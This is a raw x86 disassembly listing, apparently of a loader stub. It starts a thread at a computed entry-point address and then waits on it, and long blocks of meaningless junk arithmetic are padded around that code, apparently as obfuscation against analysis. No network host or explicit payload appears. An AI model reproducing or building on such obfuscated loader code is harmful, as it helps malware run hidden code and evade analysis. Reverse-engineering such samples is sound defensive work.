mov dword [esp + 8], 8
call fcn.00403eb0
lea ecx, [ebp - 0x55b02]
mov eax, dword [ebp - 0x55a88]
mov dword [eax + 4], ecx
lea eax, [ebp - 0x55b02]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
sub esp, 4
shl eax, 1
mov cx, ax
mov eax, dword [ebp - 0x55a88]
mov word [eax], cx
ror edx, 0x55
neg esi
rcr esi, 0x12
bswap esi
bswap ebx
imul edx
or edx, 0x7d
sbb ebx, 0xa7
add edi, 0x21
not edx
and ebx, 0x15
ror eax, 0xc
neg ebx
dec edx
sbb edx, 0xaa
inc edx
rcr ebx, 0xa
mov edi, 0x7e
bswap edx
mov eax, 0xb1
and edi, 0x87
rol eax, 0x27
not esi
rol edi, 0x32
not ebx
not eax
and eax, 0xf
imul edx
or esi, 0xdc
not edx
bswap esi
inc edi
neg esi
add edi, 0xcf
add edi, 0x4a
ror edx, 0xae
not eax
mov edx, 0x14
rol esi, 0x5d
neg esi
imul ebx
rcl edi, 0xd1
neg edx
add ebx, 0x21
rcl ebx, 3
inc edx
mov ebx, 8
imul esi
sub esi, 0xaf
rol edx, 0x91
add edi, 0x68
rol esi, 0xce
inc ebx
rcl esi, 0xc9
and eax, 0x36
dec ebx
rol ebx, 0x5e
neg eax
or ebx, 0xfa
dec esi
imul ebx
ror esi, 0x4a
and ebx, 0x8e
mov esi, 0x6f
ror ebx, 2
rcl ebx, 7
inc eax
neg ebx
neg ebx
imul esi
dec edi
and esi, 0xe3
ror esi, 0xc8
inc esi
imul esi
not ebx
rol edi, 0x31
mov edi, 0x3a
rcr edi, 0x51
rcr edx, 0x40
or eax, 0x77
ror ebx, 0xd6
dec esi
dec edi
dec edx
add ebx, 0x47
rcr edx, 0x32
ror edx, 0xa3
inc eax
bswap edx
neg edi
bswap eax
sbb ebx, 0x3e
neg ebx
inc esi
rol esi, 0xa7
neg edx
ror esi, 0xb6
inc eax
inc esi
bswap ebx
sbb eax, 0x37
add ebx, 0x9b
add edi, 0x9e
neg edi
sbb edi, 0x5e
and eax, 0xa7
bswap edi
rol edi, 0xe5
not eax
rcr edx, 0x5f
rol eax, 0x3b
not ebx
dec ebx
bswap edi
add esi, 0x3d
ror edx, 0xf7
not edx
inc ebx
mov ebx, 0x73
and esi, 0x70
sub edi, 0x25
inc edi
or edi, 0x22
sub esi, 0x5d
inc edi
bswap edx
rcl eax, 0x64
inc edi
rcl eax, 0x4e
add ebx, 0xa3
neg edx
dec eax
and ebx, 0x9d
rcr ebx, 0x68
add ebx, 0xfa
dec eax
dec eax
sbb ebx, 0xd2
dec edi
bswap eax
sub eax, 0x7e
not eax
rcr eax, 0x58
dec ebx
bswap eax
inc eax
ror esi, 0x54
inc edx
not eax
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x55a24]
mov ecx, dword [ebp - 0x55a18]
add eax, dword [ecx + 0x28]
xor ecx, ecx
mov dword [esp], 0
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
sub esp, 0x18
mov dword [ebp - 0x55b10], eax
test byte [ebp - 0x55b03], 1
je 0x4054c9
mov dword [esp], 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
sub esp, 4
mov ecx, dword [ebp - 0x55a88]
lea eax, [ebp - 0x55b0c]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 8
call fcn.00403eb0
mov eax, dword [ebp - 0x55b10]
mov dword [esp], eax
mov dword [esp + 4], 0xffffffff
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
sub esp, 8
rcr edi, 0xb
mov ebx, 0x64
dec esi
bswap ebx
inc eax
imul edi
not edi
and eax, 0xc4
dec ebx
imul eax
inc ebx
rcr edx, 0xe8
inc eax
imul esi
imul eax
imul edx
and ebx, 0xfd
sub edx, 0xda
rcr esi, 0x7f
add edi, 0xe7
not esi
imul edx
neg eax
inc eax
neg edi
inc esi
imul esi
rcl esi, 0xdf
sub esi, 0x9e
bswap eax
ror eax, 0x39
mov edx, 0xfd
dec ebx
bswap eax
neg ebx
rcr ebx, 0x50
inc eax
dec esi
or esi, 0x2c
mov eax, 0x5d
rol edi, 8
add eax, 0x52
or eax, 0xb8
rcl esi, 0xf6
bswap edx
or edi, 0x98
inc ebx
bswap esi
or eax, 0xb9
neg edx
ror esi, 0xa1
or ebx, 0x2b
rcr ebx, 0x28
dec ebx
not ebx
bswap eax
and edx, 0xdd
not edi
neg eax
and edi, 0x83
sbb eax, 0x68
mov edi, 0x5d
rcr eax, 0x67
imul esi
sub edx, 0x78
inc eax
rcr edx, 0x39
imul esi
inc edx
inc eax
not eax
imul edx
rcl edx, 0x82
mov eax, 0xd8
sbb edx, 0x72
ror edx, 0x70
rcl ebx, 0xed
rol esi, 0x37
inc edx
rcr eax, 0x39
sub edi, 0x97
and edi, 0xde
and esi, 0xce
not edi
ror edx, 0x50
rol ebx, 0xb4
neg ebx
or edi, 0x7a
imul eax
sbb ebx, 0xb0
neg eax
mov edi, 0xa
and edi, 0x92
neg esi
ror edi, 0x71
and eax, 0xbf
or esi, 0x2d
sbb edi, 0x43
add eax, 0x35
imul eax
dec edx
imul ebx
inc edx
dec edi
neg edx
inc edi
neg edx
mov edx, 0x92
rcl edi, 0x97
not esi
bswap edx
rcr esi, 0x7d
neg esi
neg esi
rcr esi, 0x91
and ebx, 0xd2
imul ebx
inc ebx
bswap eax
not esi
and eax, 0xd2
rol eax, 0xb9
sub ebx, 0xe5
ror eax, 0xe6
rol edx, 0xb
ror edx, 0x34
rol eax, 0x28
sub esi, 0x5f
sbb esi, 0xee
or ebx, 0x1d
ror ebx, 0xc4
bswap edx
rcl esi, 0xe4
bswap ebx
ror edi, 0x39
bswap esi
or edi, 0x65
or ebx, 0x5f
rcr edx, 0xe2
not esi
imul ebx
ror eax, 0x5e
imul edx
neg edx
dec ebx
imul ebx
rcr edx, 0x27
rcr ebx, 0x1c
bswap edx
or ebx, 0xb9
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x10], 0
mov eax, dword [ebp - 0x10]
add esp, 0x55b24
pop esi
pop edi
pop ebx
pop ebp
ret